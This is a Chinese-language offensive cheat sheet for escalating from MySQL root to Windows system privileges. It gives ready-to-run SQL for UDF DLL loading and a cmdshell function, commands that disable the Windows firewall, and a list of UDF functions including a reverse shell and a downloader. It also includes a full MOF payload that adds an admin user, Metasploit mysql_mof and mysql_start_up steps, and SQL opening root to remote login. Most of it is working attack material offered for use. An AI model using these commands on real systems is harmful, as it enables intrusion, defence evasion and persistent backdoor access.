MySQL提权
流程:服务探针——信息收集——提权利用——获取权限
提权前提:获取数据库最高管理员的账户密码
- 读取网站数据库配置文件(了解其命名规则及查找技巧)
sql、data、inc、config、conn、database、common、include
- 读取数据库存储或备份文件(了解数据库存储格式及对应内容)
@@basedir/data/数据库名/表名.MYD (表内容)
- 暴力破解(了解数据库是否支持外联及如何开启外联)
UDF提权
利用root权限,创建带有调用cmd函数的udf.dll
(动态链接库)。当我们把udf.dll
导出指定文件夹引入MySQL时,其中的调用函数拿出来当作MySQL的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON
调用dll中的函数后,MySQL账号转化为system权限,从而来提权。
MySQL < 5.1
udf.dll
文件在Windows2003下放置于c:\windows\system32
,在windows2000下放置于c:\winnt\system32
。MySQL => 5.1
udf.dll
文件必须放置于MYSQL安装目录下的lib\plugin
文件夹下。
查看数据库服务版本信息
select @@version;
select version();
查看数据库安装目录
select @@basedir;
select basedir();
查看MySQL安装路径
show variables like '%plugins%';
利用NTFS ADS
创建lib
目录
select 'x' into dumpfile '安装目录\\lib::$INDEX_ALLOCATION';
利用NTFS ADS
创建plugin
目录
select 'x' into dumpfile '安装目录\\lib\\plugin::$INDEX_ALLOCATION';
UDF提权文件所在位置
msf的UDF文件原C++函数没有写异常处理,那么MySQL加载的时候会使MySQL出错导致断开连接。
metasploit下的动态链接库
sqlmap下的动态链接库
sqlmap下的4个UDF文件是经过编码的,如果直接丢在MySQL的
plugin
目录下是无法加载的,需要用sqlmap/extra/cloak/cloak.py
进行解码
python .\cloak.py -d -i ..\..\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll
导出dll
到指定目录
可以使用msf中mysql_udf_payload
模块
条件:
secure_auth=YES
(运行导出文件)
secure_file_prive=空
(可以导出任意文件到任意位置)
查看是否允许文件导出导入
show variables like "%secure%";
导出dll
select 'lib_mysqludf_sys.dll' into outfile '安装目录/lib/pulgin/udf.dll';
创建cmdshell
函数 (该函数叫什么名字在后续中则使用该函数进行查询)
create function cmdshell returns string soname 'udf.dll';
# [AGGREATE]是聚集函数的表示,系统定义的聚集函数比如有COUNT()、AVE()、MN()、MAX()、SUM()
# SONAME 'file'表示这个函数从哪个文件里面引入,而这个文件一般是动态链接库,windows下是dll,linux是so,并且这个文件要在mysql的plugin目录下
执行命令
select cmdshell('whoami');
# 关闭windows防火墙和筛选
select cmdshell('net stop policyagent');
select cmdshell('net stop sharedaccess');
select cmdshell('netsh advfirewall set allprofiles state off');
udf.dll
下常见函数
cmdshell //执行cmd;
downloader //下载者,到网上下载指定文件并保存到指定目录;
open3389 //通用开3389终端服务,可指定端口(不改端口无需重启);
backshell //反弹Shell;
ProcessView //枚举系统进程;
KillProcess //终止指定进程;
regread //读注册表;
regwrite //写注册表;
shut //关机,注销,重启;
about //说明与帮助函数;
MOF提权
MOF是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof
)叫做托管对象格式
其作用是每隔五秒就会去监控进程创建和死亡。
其实就是用了MySQL的root权限了以后,然后使用root权限去执行我们上传的MOF。隔了一定时间以后这个MOF就会被执行,这个MOF当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
MOF提权过程:
- 将MOF上传至任意可读可写目录下
- 更改MOF文件代码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
- 使用SQL语句将系统当中默认的
nullevt.mof
给替换掉
select load_file('D:\wamp\xishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
MSF进行MOF提权
Msf下的
exploit/windows/mysql/mysql_mof
模块提供了直接MOF提权,不过该漏洞成功跟操作系统权限和MySQL数据库版本有关,执行成功后会直接反弹shell到meterpreter。
use exploit/windows/mysql/mysql_mof
set rhost IP //设置需要提权的远程主机IP地址
set rport 3306 //设置mysql的远程端口
set password root //设置mysql数据库root密码
set username root //设置mysql用户名
show options //查看设置
exploit
MySQL允许远程root登入
一:
use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
二:
GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
FLUSH PRIVILEGES;
启动项提权
导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行
MSF进行启动项提权
use exploit/windows/mysql/mysql_start_up
set rhost IP //设置需要提权的远程主机IP地址
set rport 3306 //设置mysql的远程端口
set password root //设置mysql数据库root密码
set username root //设置mysql用户名
show options //查看设置
exploit